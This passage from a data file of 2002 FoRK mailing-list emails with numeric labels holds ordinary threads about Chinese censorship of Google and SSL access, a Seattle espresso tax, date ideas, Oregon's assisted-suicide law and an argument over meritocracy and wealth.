layer cakes filled with caribou remains and human detritus chronicling 7,800 years of changing hunting practices. Scientists now believe ancient caribou and other animals flocked to the ice each summer to cool down and escape swarming mosquitoes and flies. Hunters followed the game. They returned for centuries and discarded some equipment in the ice. ""We've got people hunting with throwing darts up until 1,200 years ago,"" says Hare, who now oversees the research project. ""Then we see the first appearance of the bow and arrow about 1,300 years ago. And by 1,200 years ago, there's no more throwing darts."" Now scientists are trying to make the search less a matter of luck. They are developing sophisticated computer models that combine data on where glaciers are melting fastest and where humans and animals are known to have migrated to pinpoint the best places to search in Alaska's Wrangell and St. Elias mountain rangesthe United States' most glaciated terrainand in the Andes. Johan Reinhard thinks the fast- thawing European Alps could also deliver more findings, perhaps as exquisite as the Ice Man. ""Global warming is providing us high-altitude archaeologists with some fantastic opportunities right now. We're probably about the only ones happy about it.""",0,1 Rohit Khare ,fork@spamassassin.taint.org,"Mon, 23 Sep 2002 14:44:41 -0700",How about subsidizing SSL access to Google?,"[a cheeky letter to the editors of the Economist follows, along with the article I was commenting on... Rohit] In your article about Chinese attempts to censor Google last week (""The Search Goes On"", Sept. 19th), the followup correctly noted that the most subversive aspect of Google's service is not its card catalog, which merely points surfers in the right direction, but the entire library. By maintaining what amounts to a live backup of the entire World Wide Web, if you can get to Google's cache, you can read anything you'd like. The techniques Chinese Internet Service Providers are using to enforce these rules, however, all depend on the fact that traffic to and from Google, or indeed almost all public websites, is unencrypted. Almost all Web browsers, however, include support for Secure Sockets Layer (SSL) encryption for securing credit card numbers and the like. Upgrading to SSL makes it effectively impossible for a 'man-in-the-middle' to meddle; censorship would have to be imposed on each individual computer in China. The only choice left is to either ban the entire site (range of IP addresses), but not the kind of selective filtering reported on in the article. Of course, the additional computing power to encrypt all this traffic costs real money. If the United States is so concerned about the free flow of information, why shouldn't the Broadcasting Board of Governors sponsor an encrypted interface to Google, or for that matter, the rest of the Web? To date, public diplomacy efforts have focused on public-sector programming for the Voice of America, Radio Sawa, and the like. Just imagine if the US government got into the business of subsidizing secure access to private-sector media instead. Nothing illustrates the freedom of the press as much as the wacky excess of the press itself -- and most of it is already salted away at Google and the Internet Archive project. On second thought, I can hardly imagine this Administration *promoting* the use of encryption to uphold privacy rights. Never mind... Best, Rohit Khare =========================================================== The search goes on China backtracks on banning Googleup to a point Sep 19th 2002 | BEIJING From The Economist print edition IN CHINESE, the nickname for Google, an American Internet search engine, is gougou, meaning doggy. For the country's fast-growing population of Internet users (46m, according to an official estimate), it is proving an elusive creature. Earlier this month, the Chinese authorities blocked access to Google from Internet service providers in Chinaapparently because the search engine helped Chinese users to get access to forbidden sites. Now, after an outcry from those users, access has been restored. An unusual climbdown by China's zealous Internet censors? Hardly. More sophisticated controls have now been imposed that make it difficult to use Google to search for material deemed offensive to the government. Access is still blocked to the cached versions of web pages taken by Google as it trawls the Internet. These once provided a handy way for Chinese users to see material stored on blocked websites. After the blocking of Google on August 31st, many Chinese Internet users posted messages on bulletin boards in China protesting against the move. Their anger was again aroused last week when some Chinese Internet providers began rerouting users trying to reach the blocked Google site to far less powerful search engines in China. Duncan Clark, the head of a Beijing-based technology consultancy firm, BDA (China) Ltd, says China is trying a new tactic in its efforts to censor the Internet. Until recently, it had focused on blocking individual sites, including all pages stored on them. Now it seems to be filtering data transmitted to or from foreign websites to search for key words that might indicate undesirable content. For example earlier this week when using Eastnet, a Beijing-based Internet provider, a search on Google for Falun Gonga quasi-Buddhist exercise sect outlawed in China usually aborted before all the results had time to appear. Such a search also rendered Google impossible to use for several minutes.",0,0 bitbitch@magnesium.net,"fork-admin@xent.com, ""John Hall"" ","Mon, 23 Sep 2002 17:44:44 -0400",Re[2]: Goodbye Global Warming,"How about this: A bored FoRKer said: ""YAWN"" I believe Tom had it right. Signal not noise. I'll start: Los Angeles Times September 23, 2002 Monday Copyright 2002 / Los Angeles Times Los Angeles Times September 23, 2002 Monday Home Edition SECTION: Main News Main News; Part 1; Page 13; National Desk LENGTH: 1013 words BYLINE: DANA CALVO, TIMES STAFF WRITER DATELINE: SEATTLE BODY: The idea came at the end of a long, frustrating brown-bag session at a public-policy think tank here. The challenge was to save the city's child-care programs. Staring into his empty coffee cup, the meeting coordinator's mind landed on an unlikely solution: Put a tax--just a ""benign"" dime a shot--on espresso. That led to a petition signed by more than 20,000 Seattle residents, and next year, voters will decide whether the tax becomes law, one that taps right into Seattle's legendary addiction to coffee. This is, after all, the town where Starbucks was born and where the $12 pound of beans became a staple. There is one Starbucks for every 7,000 residents in Seattle, compared to one per 64,000 in New York. Seattle also has two other major coffee chains, Tully's Coffee and Seattle's Best Coffee, as well as countless cafes and espresso carts. A recent poll showed that 74% of Seattle residents would vote for the tax. ""For people outside of Seattle who don't understand the consumption of espresso, [the tax proposal] can be seen as crazy,"" said John Burbank, the think tank's executive director, ""but it was common sense."" Research by his nonprofit Economic Opportunity Institute showed that people preferred a tax on liquor or beer over one on espresso. But because of the large number of lattes and cappuccinos sold, a tax on espresso could be lower than one levied on alcohol. Burbank estimates the tax could generate $7 million to $10 million a year. City Council aides dispute his figures, saying their research shows the tax would bring in $1.5 million to $3 million a year. Burbank's institute is funded by foundations and labor unions. The think tank's mission is to promote public policy in the interests of low-income people, and it has long championed child-care issues. Burbank says the tax would restore cuts to the child-care programs made earlier this year by Gov. Gary Locke. He also says it would provide more low-income families with subsidies for child care, improve preschool programs and increase teacher salaries. At Bauhaus Books & Coffee, the sidewalk is dotted with tables of customers for whom coffee is a half-day activity, not just a drink. Espresso lovers like Chris Altman, who at a dime a day would spend an extra $36.50 a year, said the investment is worth it. ""I'm OK with it,"" said the 35-year-old, stirring his iced latte. ""The money's got to come from somewhere."" Hope Revuelto, 25, was cooling her regular coffee ($1 because she brought her own mug) and reading ""Zen and the Art of Pottery."" She supports the initiative and said its critics are behaving as would be expected of espresso drinkers: They want the most expensive thing on the menu but resist paying 10 cents to help the needy. Some say the tax isn't the issue; they just resent being singled out. David Marsh, 45, a costume manager, drinks up to three espressos a day, which means he'd be shelling out an extra $109.50 a year. ""I, for one, don't have kids, but I drink espresso,"" he said, as he sewed a leather collar onto a chain-mail tunic. ""I don't mind paying, but I think everyone should pay."" Coffeehouses are steamed about it, and they've organized as JOLT--Joined to Oppose the Latte Tax. Among the members are Seattle's Chamber of Commerce and the city's two largest coffee franchises, Starbucks and Tully's. The tax would force coffeehouses to track sales of any beverage that contains espresso, a task that could be an administrative nightmare for smaller cafes, especially during the frantic morning rush. If espresso counts come under suspicion, coffeehouse owners could face a city audit. University of Chicago economics professor Michael Greenstone said the tax doesn't add up. ""The purpose of any tax is to be efficient and equitable, and this is neither,"" he said. ""On the efficiency side, it's surely going to lead to costly efforts by both businesses and consumers to find ways to avoid the tax. For example, Starbucks could claim that they are using finely ground coffee, [instead of coffee run though an espresso maker] and that consequently, they are exempt from the tax. Would they be right? I don't know, but finding out will surely take lots of legal fees that could have gone to child care. ""Of course, from a public-relations perspective, this is an ingenious idea, and I mean that in a cynical way. They've pitted espresso drinkers against child-care supporters, and who's going to side with the espresso drinkers?"" In fact, the proposed tax has forced opponents into a political two-step, where their criticism must remain a beat behind their public stance of political correctness. In a liberal city like Seattle, corporations continually advertise their commitment to social activism, and throughout the debate over the initiative, JOLT members prefaced their opposition with endorsements of good child care. ""Starbucks will continue to support early-learning and childhood-development programs through the millions of dollars we contribute annually,"" the company said. ""However, Starbucks does not understand why the Economic Opportunity Institute would recommend an additional consumer tax on espresso beverages, or any other single consumer product."" The City Council has yet to decide when the initiative will go before voters next year. The initiative's authors say it is directed at vendors; critics predict it will be passed on to consumers through higher prices, effectively punishing them for their choice of coffee. The tax would be applied to any drink with at least half an ounce of espresso, including decaf. Drip coffee would be exempt. Burbank says the tax would reach only a pre-selected group of consumers who are wealthier than those who drink drip. So, he's been pitching it as a modern-day Robin Hood tax, where the needy get a dime every time the affluent spend $3 to $4 on an espresso. It's the kind of political marketing that Fran Beulah, 43, finds funny. ""I drink espresso,"" she said, laughing, ""and I am not rich."" JH> ""I did not have sex with that woman."" >> -----Original Message----- >> From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of JH> Mr. >> FoRK >> Sent: Monday, September 23, 2002 2:12 PM >> To: FoRK >> Subject: Re: Goodbye Global Warming >> >> >> ----- Original Message ----- >> From: ""John Hall"" >> >> > A Green once said that if the Spotted Owl hadn't existed they >> > would have had to invent it. >> A Republican once said ""I am not a crook"". -- Best regards, bitbitch mailto:bitbitch@magnesium.net",0,0 """Mr. FoRK"" ","""Tom"" ","Mon, 23 Sep 2002 14:57:49 -0700",Re: Goodbye Global Warming,"Sorry... I just had a run-in with a neighbor whom I've never met before who pigeonholed me within one minute after I asked a question - he said 'Are you one of them environmentalists?' For some reason that narrowminded attitude of not listening to what I was saying and categorizing me into a box in his little paranoid republican fantasy world just pissed me off. Sheesh... I've been out of work too long... ----- Original Message ----- From: ""Tom"" To: ""Mr. FoRK"" Cc: ""FoRK"" Sent: Monday, September 23, 2002 2:22 PM Subject: Re: Goodbye Global Warming > > --]> A Green once said that if the Spotted Owl hadn't existed they > --]> would have had to invent it. > --]A Republican once said ""I am not a crook"". > --] > > Oh great, another round of Lableisms....Let me know when you get back to > real data.. >",0,0 """John Hall"" ","""FoRK"" ","Mon, 23 Sep 2002 15:22:41 -0700",RE: Re[2]: Goodbye Global Warming,"> From: bitbitch@magnesium.net [mailto:bitbitch@magnesium.net] > > Burbank says the tax would reach only a pre-selected group of > consumers who are wealthier than those who drink drip. So, he's been > pitching it as a modern-day Robin Hood tax, where the needy get a dime > every time the affluent spend $3 to $4 on an espresso. The people who pour the espresso aren't rich. An interesting issue might be how it affects employment. Still, it is a 1% or less sales tax. That might not make that big of a difference. The costs of tracking revenue and collecting the tax might be onerous. Worse than the cost of the tax itself. Me: I hate coffee anyway. But if they put a $.10/can tax on Diet Dr. Pepper I might have to start buying them in Oregon. (Yes, I drink that much Diet Dr. Pepper).",0,0 Rohit Khare ,Fork@xent.com,"Mon, 23 Sep 2002 15:24:44 -0700",SF Weekly's Ultimate SF Date lineup :-),"I love the absurd sense of humor it takes to build up such an elaborate evening only to note that ""even if the date's a bust you can always have a hundred people up for cocktails"" in your penthouse suite at the end of the night :-) Personally, I'd put one point in favor of the Redwood Room over Lapis: on a weeknight, you can still whip out a TiBook and write, since it's a hotel bar. And it seems to give people all sorts of license to interrogate you as to why you're writing with a double of scotch :-) Best, Rohit > Five Best Ways to Impress Your Date > > You've met the biped of your dreams at the corner laundromat and, > wonder of wonders, she's agreed to go out with you this Saturday. Don't > blow it! Follow the instructions below and even if you impress your > date so much you never see her again, your evening will be a memorable > one. All you need are a chauffeur, a change of clothes, and several > hundred thousand dollars. > > Luxury Suite at Pacific Bell Park > > Third and King streets, 972-2000, www.sfgiants.com > > Kick off your date with an afternoon at the ballpark -- not just any > ballpark, but just about the best ballpark in the country, and not in > some drafty, behind-the-plate box seat but in one of the park's lushly > accessorized luxury suites. An elevator whisks you from a private > entrance on Willie Mays Plaza to your dwelling place above the infield. > Besides the excellent views of the bay, the park, and the Giants in > action, there's a balcony, a wet bar, a refrigerator, two televisions, > a stereo/CD player, a dual-line phone, Internet access, room service, > and a concierge to call you a cab or make your restaurant reservations > for you. No one is admitted without proper clearance, ensuring your > utmost privacy. Next: Pull yourself together for ... > > Cocktails at Lapis > > Pier 33 (Embarcadero at Bay), 982-0203, > > www.lapis-sf.com > > Now that the Redwood Room has devolved into just another velvet-rope > yuppie hangout, the city has no clear-cut, top-of-the-line cocktail > lounge such as Chicago's Pump Room or New York's King Cole Bar > (although Maxfield's, the Compass Rose, and the Top of the Mark are > excellent runners-up). Best of all is Lapis, where the wannabe Noel > Coward can sip an estimable Gibson in the lounge adjoining the dining > room. The dramatically backlit bar is framed by lush bronze draperies > that complement the room's deep-blue setting, and towering ceilings > give the lounge a graceful, airy ambience. Floor-to-ceiling windows > provide a lush panorama of the bay and the hills beyond. > > > Dinner at the Dining Room > > Ritz-Carlton Hotel, 600 Stockton (between Pine and > > California), 296-7465, www.ritzcarlton.com > > Your next stop on the road to beguilement is one of the handsomest > dining rooms in the country. The tranquil sounds of a harp underscore a > sumptuous setting of polished mahogany, soft linens, and fine crystal > gleaming in the candlelight. Chef Sylvain Portay prepares luxurious > nouvelle cuisine in several courses: lobster salad with caviar cream; > turbot with crayfish and truffles; roasted squab with port-marinated > figs; saffron-poached pear with guanaja chocolate gratin. Sommelier > Stphane Lacroix maintains a fabulous cellar, the service is impeccable > and inviting, and intimate discourse is practically inevitable. Next: > > Charter the Rendezvous From Rendezvous Charters > > Pier 40 (in South Beach Harbor), 543-7333, > > www.baysail.com > > Nothing's more enticing than an evening cruise around San Francisco > Bay, and the islands, bridges, and lights of the city are especially > entrancing viewed from this vintage brigantine schooner. Built in 1933 > and recently restored to its former glory, the 78-foot Rendezvous looks > like a clipper ship out of the Gold Rush era, with its 80-foot masts > and square-rigged sails. Intricately carved mahogany, pecan, ash, and > rosewood accent the brass-railed, velvet-cushioned rooms below decks, > the perfect spot for a sip of Veuve Cliquot and some subtle canoodling. > > Penthouse Suite at the Fairmont Hotel > > 950 Mason (between California and Sacramento), > > 772-5000, www.fairmont.com > > Last but not least, escort your companion to what has been described as > the most expensive hotel accommodation in the world: the Fairmont's > elaborate penthouse. The eight-room suite (including three bedrooms, > three baths, a dining room, a library, a billiard room, a fully > equipped kitchen, and a living room with fireplace and baby grand > piano) comes with its own maid, butler, and limousine and is accessed > by private elevator. The library alone is worth investigating: two > circular floors of books encapsulated by a domed ceiling etched with > the constellations. The view from the terrace is enthralling, and even > if the date's a bust you can always have a hundred people up for > cocktails. > > sfweekly.com | originally published: May 15, 2002",0,0 Tom ,fork@spamassassin.taint.org,"Mon, 23 Sep 2002 18:46:14 -0400 (EDT)",Googlenews,"The further googlization of my screentimes....News...No not just news...google news. I love the line that tells me how fresh/stale the news item is....phreaking cewl. So far I like the content range.",0,0 Tom ,fork@spamassassin.taint.org,"Mon, 23 Sep 2002 18:51:16 -0400 (EDT)",Here Come Da Feds,"The damn Federalists are at it again, another bumsrush on Oregons states rights.. [Being a 5 year translplant out here I say the best thing to do is bring back the plans to make the state of Jefferson, then have Oregon, Washington and Jefferson break away from the union.] http://www.cnn.com/2002/LAW/09/23/oregon.assisted.suicide/ SAN FRANCISCO, California (CNN) -- The U.S. Justice Department filed an appeal Monday to overturn a federal judge's ruling that upheld Oregon's doctor-assisted suicide law. A spokesman for Oregon Attorney General Hardy Myers said the state views the appeal as ""same story, different day."" Oregon voters approved doctor-assisted suicide twice, in ballot initiatives in 1994 and 1997. But in November, U.S. Attorney General John Ashcroft warned Oregon doctors they would be prosecuted under federal law if they prescribed lethal doses of drugs for dying patients.",0,1 """Russell Turpin"" ",fork@spamassassin.taint.org,"Mon, 23 Sep 2002 22:51:29 +0000",Re: SF Weekly's Ultimate SF Date lineup :-),"SF Weekly: >Nothing's more enticing than an evening cruise around San Francisco Bay, >and the islands, bridges, and lights of the city are especially entrancing >viewed from this vintage brigantine schooner. Built in 1933 and recently >restored to its former glory, the 78-foot Rendezvous looks like a clipper >ship out of the Gold Rush era, with its 80-foot masts and square-rigged >sails. That sounds like fun. But it sets the wrong precedent. Here's the better idea. Invite her for an afternoon cruise under the Golden Gate bridge in your Stonehorse day sailor. Under way, ask her if she'd like to take the stick. Back at slip, cook her dinner. Something simple, but good, maybe a stir fry or a stew, served in the cockpit, with an inexpensive but potable wine. If she runs away after that, 'tis good riddance. If she wants to try it again, another day, she shows promise. If she asks you to show her the V berth, you have a girlfriend. If she notes your brightwork needs another coat, and asks what you're using on it, propose on the spot. ;-) _________________________________________________________________ MSN Photos is the easiest way to share and print your photos: http://photos.msn.com/support/worldwide.aspx",0,1 Tom ,Russell Turpin ,"Mon, 23 Sep 2002 19:05:10 -0400 (EDT)",Re: SF Weekly's Ultimate SF Date lineup :-),"On Mon, 23 Sep 2002, Russell Turpin wrote: --]Here's the better idea. Invite her for an afternoon --]cruise under the Golden Gate bridge in your Stonehorse --]day sailor. Good way, heres one that worked for me. Work on a database project with that person. After a while hand her the keyboard to go get some lunch. If when you come back she is talking to the person in the next cube about survivor all the time you were gone...go for the one night boom boom plan If when you return she has read thru the help screen to try to figure out what your working on...go fro the week long dine and do with options for more IF she finishes the help docs and does some code. If when you come back she has done some work on the db's infrastructure, cleaned up your code and made a few ""additions"" to make it work better and figures that since you have done enough work for the day asks that you bring lunch and your lap top to the big screen projection room to watch your new DVD of startship troopers..marry her",0,0 Tom ,fork@spamassassin.taint.org,"Mon, 23 Sep 2002 19:22:24 -0400 (EDT)",Not just like a virgin...a virgin...birth,"Rare Virgin Shark Births Reported in Detroit Voice of America - 5 hours ago A female shark has become a single mother - in the strictest sense of the term. Officials at Detroit's Belle Isle Aquarium say a shark there recently produced three babies in an event they are calling virgin births. http://www.cnn.com/2002/US/Midwest/09/23/offbeat.shark.births.ap/ http://www.miami.com/mld/miamiherald/4124307.htm http://www.startribune.com/stories/1451/3320433.html",0,1 """Geege Schuman"" ","""R. A. Hettinga"" ,","Mon, 23 Sep 2002 19:44:22 -0400",RE: Comrade Communism (was Re: Crony Capitalism (was RE: sed,"First, misattribution. I did not write the blurb below. I made one statement about VP Cheney only, to wit, that he has a short memory. I couldn't agree with you more on this: ""in short, then, economics is not a zero sum game, property is not theft, the rich don't get rich off the backs of the poor, and redistributionist labor ""theory"" of value happy horseshit is just that: horseshit, happy or otherwise,"" however, I resent being lumped in a zero-sum-zealot category for suggesting nothing more than that rich and successful at face value is apropos of nothing and I am beginning to understand that people who immediately and so fiercely object to my ad hominem (re Cheney) align themselves weird sylogisms like ""if rich then deservedly"" or ""if rich then smarter."" Given that, I am also beginning to understand why some people NEED to be rich. WRT to meritocracies - all hail, meritocracies! WRT Harvard: over 90% of 2002 graduates were cum laude +. INTERESTING curve. Those eager to be measured got their wish; those unwashed shy folk who just live it provide the balast. Speaking of Forbes, was reading about Peter Norton just today in an old issue while waiting for my doctor. Norton attributes his success to LUCK. Imagine. Geege -----Original Message----- From: R. A. Hettinga [mailto:rah@shipwright.com] Sent: Sunday, September 22, 2002 10:01 PM To: Geege Schuman; Owen Byrne Cc: Gary Lawrence Murphy; Mr. FoRK; fork@spamassassin.taint.org; Digital Bearer Settlement List Subject: Comrade Communism (was Re: Crony Capitalism (was RE: sed /s/United States/Roman Empire/g)) -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 11:15 AM -0400 on 9/22/02, Geege Schuman wrote: > Most of them seem to have Ivy League educations, or are Ivy League > dropouts suggesting to me that they weren't exactly poor to start > with. Actually, if I remember correctly from discussion of the list's composition in Forbes about five or six years ago, the *best* way to get on the Forbes 400 is to have *no* college at all. Can you say ""Bootstraps"", boys and girls? I knew you could... [Given that an undergraduate liberal arts degree from a state school, like, say, mine, :-), is nothing but stuff they should have taught you in a government-run ""high"" school, you'll probably get more of *those* on the Forbes 400 as well as time goes on. If we ever get around to having a good old fashioned government-collapsing transfer-payment depression (an economic version of this summer's government-forest conflagration, caused by the same kind of innumeracy that not clear-cutting enough forests did out west this summer :-)) that should motivate more than a few erst-slackers out there, including me, :-), to learn to actually feed themselves.] The *next* category on the Forbes 400 list is someone with a ""terminal"" professional degree, like an MBA, PhD, MD, etc., from the best school possible. Why? Because, as of about 1950, the *best* way to get into Harvard, for instance, is to be *smart*, not rich. Don't take my word for it, ask their admissions office. Look at the admissions stats over the years for proof. Meritocracy, American Style, was *invented* at the Ivy League after World War II. Even Stanford got the hint, :-), and, of course, Chicago taught them all how, right? :-). Practically *nobody* who goes to a top-20 American institution of higher learning can actually afford to go there these days. Unless, of course, their parents, who couldn't afford to go there themselves, got terminal degrees in the last 40 years or so. And their kids *still* had to get the grades, and ""biased"" (by intelligence :-)), test scores, to get in. The bizarre irony is that almost all of those people with ""terminal"" degrees, until they actually *own* something and *hire* people, or learn to *make* something for a living all day on a profit and loss basis, persist in the practically insane belief, like life after death, that economics is some kind of zero sum game, that dumb people who don't work hard for it make all the money, and, if someone *is* smart, works hard, and is rich, then they stole their wealth somehow. BTW, none of you guys out there holding the short end of this rhetorical stick can blame *me* for the fact that I'm using it to beat you severely all over your collective head and shoulders. You were, apparently, too dumb to grab the right end. *I* went to Missouri, and *I* don't have a degree in anything actually useful, much less a ""terminal"" one, which means *I*'m broker than anyone on this list -- it's just that *you*, of all people, lots with educations far surpassing my own, should just plain know better. The facts speak for themselves, if you just open your eyes and *look*. There are no epicycles, the universe does not orbit the earth, and economics is not a zero-sum game. The cost of anything, including ignorance and destitution, is the forgone alternative, in this case, intelligence and effort. [I will, however, admit to being educated *waay* past my level of competence, and, by the way *you* discuss economics, so have you, apparently.] BTW, if we ever actually *had* free markets in this country, *including* the abolition of redistributive income and death taxes, all those smart people in the Forbes 400 would have *more* money, and there would be *more* self-made people on that list. In addition, most of the people who *inherited* money on the list would have *much* less of it, not even relatively speaking. Finally, practically all of that ""new"" money would have come from economic efficiency and not ""stolen"" from someone else, investment bubbles or not. That efficiency is called ""progress"", for those of you in The People's Republics of Berkeley or Cambridge. It means more and better stuff, cheaper, over time -- a terrible, petit-bourgeois concept apparently not worthy of teaching by the educational elite, or you'd know about it by now. In economic terms, it's also called an increase in general welfare, and, no, Virginia, I'm not talking about extorting money from someone who works, and giving it to someone who doesn't in order to keep them from working and they can think of some politician as Santa Claus come election time... In short, then, economics is not a zero sum game, property is not theft, the rich don't get rich off the backs of the poor, and redistributionist labor ""theory"" of value happy horseshit is just that: horseshit, happy or otherwise. To believe otherwise, is -- quite literally, given the time Marx wrote Capital and the Manifesto -- romantic nonsense. Cheers, RAH -----BEGIN PGP SIGNATURE----- Version: PGP 7.5 iQA/AwUBPY511cPxH8jf3ohaEQLAsgCfZhsQMSvUy6GqJ5wgL52DwZKpIhMAnRuR YYboc+IcylP5TlKL58jpwEfu =z877 -----END PGP SIGNATURE----- -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 """Gordon Mohr"" ",,"Mon, 23 Sep 2002 16:55:17 -0700",Re: How about subsidizing SSL access to Google?,"Good idea! This could also be a job for P2P; lots of people would love to devote their spare cycles, bandwidth, and unblocked IP addresses to giving the Chinese unfettered net access. In a sense, this is what the ""peek-a-booty"" project does: http://www.peek-a-booty.org But let's play out the next few moves: Good Guys: Google enables SSL access Bad Guys: Chinese government again blocks all access to Google domains Good Guys: Set up Google proxies on ever-changing set of hosts (peek-a-booty) Bad Guys: Ban SSL (or any unlicensed opaque traffic) at the national firewall Good Guys: Hide Google traffic inside other innocuous-looking activity Bad Guys: Require nationwide installation of client-side NetNannyish software Good Guys: Offer software which disables/spoofs monitoring software Bad Guys: Imprison and harvest organs from people found using monitoring-disabling-software ...and on and on. The best we can hope is that technological cleverness, by raising the costs of oppression or by provoking intolerable oppression, brings social liberalization sooner rather than later. - Gordon ----- Original Message ----- From: ""Rohit Khare"" To: Sent: Monday, September 23, 2002 2:44 PM Subject: How about subsidizing SSL access to Google? [a cheeky letter to the editors of the Economist follows, along with the article I was commenting on... Rohit] In your article about Chinese attempts to censor Google last week (""The Search Goes On"", Sept. 19th), the followup correctly noted that the most subversive aspect of Google's service is not its card catalog, which merely points surfers in the right direction, but the entire library. By maintaining what amounts to a live backup of the entire World Wide Web, if you can get to Google's cache, you can read anything you'd like. The techniques Chinese Internet Service Providers are using to enforce these rules, however, all depend on the fact that traffic to and from Google, or indeed almost all public websites, is unencrypted. Almost all Web browsers, however, include support for Secure Sockets Layer (SSL) encryption for securing credit card numbers and the like. Upgrading to SSL makes it effectively impossible for a 'man-in-the-middle' to meddle; censorship would have to be imposed on each individual computer in China. The only choice left is to either ban the entire site (range of IP addresses), but not the kind of selective filtering reported on in the article. Of course, the additional computing power to encrypt all this traffic costs real money. If the United States is so concerned about the free flow of information, why shouldn't the Broadcasting Board of Governors sponsor an encrypted interface to Google, or for that matter, the rest of the Web? To date, public diplomacy efforts have focused on public-sector programming for the Voice of America, Radio Sawa, and the like. Just imagine if the US government got into the business of subsidizing secure access to private-sector media instead. Nothing illustrates the freedom of the press as much as the wacky excess of the press itself -- and most of it is already salted away at Google and the Internet Archive project. On second thought, I can hardly imagine this Administration *promoting* the use of encryption to uphold privacy rights. Never mind... Best, Rohit Khare =========================================================== The search goes on China backtracks on banning Googleup to a point Sep 19th 2002 | BEIJING From The Economist print edition IN CHINESE, the nickname for Google, an American Internet search engine, is gougou, meaning doggy. For the country's fast-growing population of Internet users (46m, according to an official estimate), it is proving an elusive creature. Earlier this month, the Chinese authorities blocked access to Google from Internet service providers in Chinaapparently because the search engine helped Chinese users to get access to forbidden sites. Now, after an outcry from those users, access has been restored. An unusual climbdown by China's zealous Internet censors? Hardly. More sophisticated controls have now been imposed that make it difficult to use Google to search for material deemed offensive to the government. Access is still blocked to the cached versions of web pages taken by Google as it trawls the Internet. These once provided a handy way for Chinese users to see material stored on blocked websites. After the blocking of Google on August 31st, many Chinese Internet users posted messages on bulletin boards in China protesting against the move. Their anger was again aroused last week when some Chinese Internet providers began rerouting users trying to reach the blocked Google site to far less powerful search engines in China. Duncan Clark, the head of a Beijing-based technology consultancy firm, BDA (China) Ltd, says China is trying a new tactic in its efforts to censor the Internet. Until recently, it had focused on blocking individual sites, including all pages stored on them. Now it seems to be filtering data transmitted to or from foreign websites to search for key words that might indicate undesirable content. For example earlier this week when using Eastnet, a Beijing-based Internet provider, a search on Google for Falun Gonga quasi-Buddhist exercise sect outlawed in China usually aborted before all the results had time to appear. Such a search also rendered Google impossible to use for several minutes.",0,1 """John Hall"" ","""FoRK"" ","Mon, 23 Sep 2002 17:29:29 -0700",Pluck and Luck,"Anyone who doesn't appreciate both PLUCK and LUCK is only looking at part of the equation. America has, in fact, moved hard toward Meritocracy. But -- and this is a huge one -- you don't necessarily find it on the Forbes list. There is an element of LUCK, even if only being in the right place at the right time, to go that high. Beyond the Forbes List, there are many ways in which almost pure LUCK is involved in significant wealth. Being a super-model, for example. Though I think most people would be surprised by a lot of super-models. Cindy Crawford was valedictorian of her high school. Most people, of course, aren't in those stratified realms. It is the rest of us who tend to sort. There is a huge philosophical problem with the concept of Merit in the first place. Rawls claims Merit doesn't exist. Sowell seems to agree at least in part, but I'm sure Sowell would also state that the benefits of pretending it exists for society at large are enormous. And if Merit does exist then exactly what is it measuring? IQ? Purity of heart? Or the ability to satisfy customers? Functionally most people seem to equate Merit with IQ though they say it would be better if it were purity of heart. Yet the type of Merit that lands you on the Forbes list, or even just being a garden variety 'millionaire next door' is more likely to be the 'serving customers' definition. Differences due to merit, when they are perceived as such, generate far more animosity than differences due to luck. Luck can be forgiven. Superior performance, often not. > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of Geege > Schuman > Sent: Monday, September 23, 2002 4:44 PM > To: R. A. Hettinga; Geege Schuman; Owen Byrne > Cc: Gary Lawrence Murphy; Mr. FoRK; fork@spamassassin.taint.org; Digital Bearer > Settlement List > Subject: RE: Comrade Communism (was Re: Crony Capitalism (was RE: sed > /s/United States/Roman Empire/g)) > > First, misattribution. I did not write the blurb below. I made one > statement about VP Cheney only, to wit, that he has a short memory. > > I couldn't agree with you more on this: ""in short, then, economics is not > a > zero sum game, property is not theft, the rich don't get rich off the > backs > of the poor, and redistributionist labor ""theory"" of value happy horseshit > is just that: horseshit, happy or otherwise,"" however, I resent being > lumped > in a zero-sum-zealot category for suggesting nothing more than that rich > and > successful at face value is apropos of nothing and I am beginning to > understand that people who immediately and so fiercely object to my ad > hominem (re Cheney) align themselves weird sylogisms like ""if rich then > deservedly"" or ""if rich then smarter."" Given that, I am also beginning to > understand why some people NEED to be rich. > > WRT to meritocracies - all hail, meritocracies! WRT Harvard: over 90% of > 2002 graduates were cum laude +. INTERESTING curve. Those eager to be > measured got their wish; those unwashed shy folk who just live it provide > the balast. > > Speaking of Forbes, was reading about Peter Norton just today in an old > issue while waiting for my doctor. Norton attributes his success to LUCK. > Imagine. > > Geege > > -----Original Message----- > From: R. A. Hettinga [mailto:rah@shipwright.com] > Sent: Sunday, September 22, 2002 10:01 PM > To: Geege Schuman; Owen Byrne > Cc: Gary Lawrence Murphy; Mr. FoRK; fork@spamassassin.taint.org; Digital Bearer > Settlement List > Subject: Comrade Communism (was Re: Crony Capitalism (was RE: sed > /s/United States/Roman Empire/g)) > > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > At 11:15 AM -0400 on 9/22/02, Geege Schuman wrote: > > > > Most of them seem to have Ivy League educations, or are Ivy League > > dropouts suggesting to me that they weren't exactly poor to start > > with. > > Actually, if I remember correctly from discussion of the list's > composition in Forbes about five or six years ago, the *best* way to > get on the Forbes 400 is to have *no* college at all. Can you say > ""Bootstraps"", boys and girls? I knew you could... > > [Given that an undergraduate liberal arts degree from a state school, > like, say, mine, :-), is nothing but stuff they should have taught > you in a government-run ""high"" school, you'll probably get more of > *those* on the Forbes 400 as well as time goes on. If we ever get > around to having a good old fashioned government-collapsing > transfer-payment depression (an economic version of this summer's > government-forest conflagration, caused by the same kind of > innumeracy that not clear-cutting enough forests did out west this > summer :-)) that should motivate more than a few erst-slackers out > there, including me, :-), to learn to actually feed themselves.] > > > The *next* category on the Forbes 400 list is someone with a > ""terminal"" professional degree, like an MBA, PhD, MD, etc., from the > best school possible. > > Why? Because, as of about 1950, the *best* way to get into Harvard, > for instance, is to be *smart*, not rich. Don't take my word for it, > ask their admissions office. Look at the admissions stats over the > years for proof. > > Meritocracy, American Style, was *invented* at the Ivy League after > World War II. Even Stanford got the hint, :-), and, of course, > Chicago taught them all how, right? :-). Practically *nobody* who > goes to 